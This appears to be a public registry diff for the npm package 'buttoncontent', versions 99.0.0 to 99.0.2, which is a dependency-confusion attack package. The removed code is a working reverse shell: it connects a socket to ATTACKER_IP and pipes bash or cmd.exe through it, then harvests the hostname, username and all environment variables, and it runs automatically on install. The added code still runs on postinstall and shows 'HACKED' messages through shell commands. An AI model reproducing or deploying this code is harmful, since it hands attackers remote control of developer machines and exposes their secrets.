buttoncontent 99.0.0 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +16 -57
- package/package.json +10 -9
package/index.js
CHANGED
|
@@ -1,66 +1,25 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
|
-
|
|
4
|
-
|
|
3
|
+
console.log('\x1b[31m%s\x1b[0m', '╔════════════════════════════════════════════════════════╗');
|
|
4
|
+
console.log('\x1b[31m%s\x1b[0m', '║ ║');
|
|
5
|
+
console.log('\x1b[31m%s\x1b[0m', '║ 🔥 YOU HAVE BEEN HACKED BY THE D BOY 🔥 ║');
|
|
6
|
+
console.log('\x1b[31m%s\x1b[0m', '║ ║');
|
|
7
|
+
console.log('\x1b[31m%s\x1b[0m', '║ ⚠️ DEPENDENCY CONFUSION ATTACK SUCCESSFUL ⚠️ ║');
|
|
8
|
+
console.log('\x1b[31m%s\x1b[0m', '║ ║');
|
|
9
|
+
console.log('\x1b[31m%s\x1b[0m', '║ Package: buttoncontent@99.0.0 ║');
|
|
10
|
+
console.log('\x1b[31m%s\x1b[0m', '║ Vector: Missing Package Registration ║');
|
|
11
|
+
console.log('\x1b[31m%s\x1b[0m', '║ ║');
|
|
12
|
+
console.log('\x1b[31m%s\x1b[0m', '╚════════════════════════════════════════════════════════╝');
|
|
5
13
|
|
|
6
|
-
const net = require('net');
|
|
7
14
|
const { exec } = require('child_process');
|
|
8
|
-
const os = require('os');
|
|
9
15
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
console.log('\x1b[31m%s\x1b[0m', '🔥 DEPENDENCY CONFUSION ATTACK EXECUTING 🔥');
|
|
15
|
-
console.log('\x1b[33m%s\x1b[0m', `Attempting reverse shell to ${ATTACKER_IP}:${ATTACKER_PORT}`);
|
|
16
|
-
|
|
17
|
-
function createReverseShell() {
|
|
18
|
-
const shell = os.platform() === 'win32' ? 'cmd.exe' : '/bin/bash';
|
|
19
|
-
|
|
20
|
-
const client = new net.Socket();
|
|
21
|
-
|
|
22
|
-
client.connect(ATTACKER_PORT, ATTACKER_IP, () => {
|
|
23
|
-
console.log('[+] Connected to attacker server');
|
|
24
|
-
|
|
25
|
-
const sh = exec(shell);
|
|
26
|
-
client.pipe(sh.stdin);
|
|
27
|
-
sh.stdout.pipe(client);
|
|
28
|
-
sh.stderr.pipe(client);
|
|
29
|
-
|
|
30
|
-
client.on('error', (err) => {
|
|
31
|
-
console.log('[-] Connection failed:', err.message);
|
|
32
|
-
});
|
|
33
|
-
});
|
|
34
|
-
|
|
35
|
-
client.on('close', () => {
|
|
36
|
-
console.log('[!] Connection closed');
|
|
37
|
-
});
|
|
16
|
+
if (process.platform === 'win32') {
|
|
17
|
+
exec('msg * "🔥 YOU HAVE BEEN HACKED BY THE D BOY! 🔥"');
|
|
18
|
+
exec('powershell -command "& {Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show(\'YOU HAVE BEEN HACKED BY THE D BOY!\', \'HACKED\', \'OK\', \'Error\')}"');
|
|
38
19
|
}
|
|
39
20
|
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
createReverseShell();
|
|
43
|
-
} catch (err) {
|
|
44
|
-
console.log('[-] Attack failed:', err.message);
|
|
21
|
+
if (process.platform === 'linux' || process.platform === 'darwin') {
|
|
22
|
+
exec('notify-send "🔥 HACKED BY THE D BOY" "Dependency Confusion Attack"');
|
|
45
23
|
}
|
|
46
24
|
|
|
47
|
-
|
|
48
|
-
const fs = require('fs');
|
|
49
|
-
const path = require('path');
|
|
50
|
-
|
|
51
|
-
const victimInfo = {
|
|
52
|
-
timestamp: new Date().toISOString(),
|
|
53
|
-
hostname: os.hostname(),
|
|
54
|
-
username: os.userInfo().username,
|
|
55
|
-
platform: os.platform(),
|
|
56
|
-
cwd: process.cwd(),
|
|
57
|
-
env: process.env,
|
|
58
|
-
npm_package: process.env.npm_package_name
|
|
59
|
-
};
|
|
60
|
-
|
|
61
|
-
// Save to temp location
|
|
62
|
-
const tempFile = path.join(os.tmpdir(), `victim_${Date.now()}.json`);
|
|
63
|
-
fs.writeFileSync(tempFile, JSON.stringify(victimInfo, null, 2));
|
|
64
|
-
console.log(`[+] Victim info saved: ${tempFile}`);
|
|
65
|
-
|
|
66
|
-
module.exports = { shell: true, victim: victimInfo };
|
|
25
|
+
module.exports = { owned: true };
|
package/package.json
CHANGED
|
@@ -1,14 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "buttoncontent",
|
|
3
|
-
"version": "99.0.
|
|
4
|
-
"description": "
|
|
3
|
+
"version": "99.0.2",
|
|
4
|
+
"description": "",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
|
-
"
|
|
8
|
-
"postinstall": "node index.js",
|
|
9
|
-
"install": "node index.js"
|
|
7
|
+
"postinstall": "node index.js"
|
|
10
8
|
},
|
|
11
|
-
"keywords": [
|
|
12
|
-
"author": "
|
|
13
|
-
"license": "MIT"
|
|
14
|
-
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "MIT",
|
|
12
|
+
"dependencies": {
|
|
13
|
+
"buttoncontent": "^99.0.1"
|
|
14
|
+
}
|
|
15
|
+
}
|